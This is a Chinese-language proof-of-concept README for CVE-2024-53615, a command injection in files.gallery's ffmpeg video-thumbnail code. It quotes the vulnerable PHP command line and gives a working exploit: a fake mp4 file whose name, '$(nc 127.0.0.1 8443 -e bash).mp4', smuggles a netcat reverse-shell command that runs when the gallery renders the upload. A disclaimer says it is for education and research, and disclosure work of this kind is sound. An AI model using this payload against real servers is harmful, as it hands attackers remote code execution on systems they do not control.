
CVE-2024-53615
Karl Ward 的 files.gallery v0.3.0 至 0.11.0 版本中视频缩略图渲染组件存在命令注入漏洞,允许远程攻击者通过精心构造的视频文件执行任意代码。
前置条件:
PATH 中存在 ffmpegconfig.php:'allow_upload' => trueexec漏洞位于以下行(取自版本 0.9.12),该行用于生成视频预览:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
由于 $this->path 可控,我们可以构造一个恶意文件,其文件名是一个 bash 命令替换。重要的是,该文件必须包含例如 mp4 魔术字节,且文件名必须以 .mp4 结尾:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
如果我们上传此文件,并刷新页面使应用程序加载该文件,就能在本地机器上获得一个 shell。
注意:命令存储在文件名中,因此由于名称长度限制,反弹 shell 的可能性有限。
此仓库仅供教育和研究目的使用。
滥用警告: 未经授权或恶意使用此工具是被严格禁止的,并可能违反当地、州或国际法律。作者对此代码的任何滥用行为不承担责任。
在部署此工具到任何环境之前,请始终获得适当授权。使用此项目即表示您同意以负责任和合乎道德的方式使用它。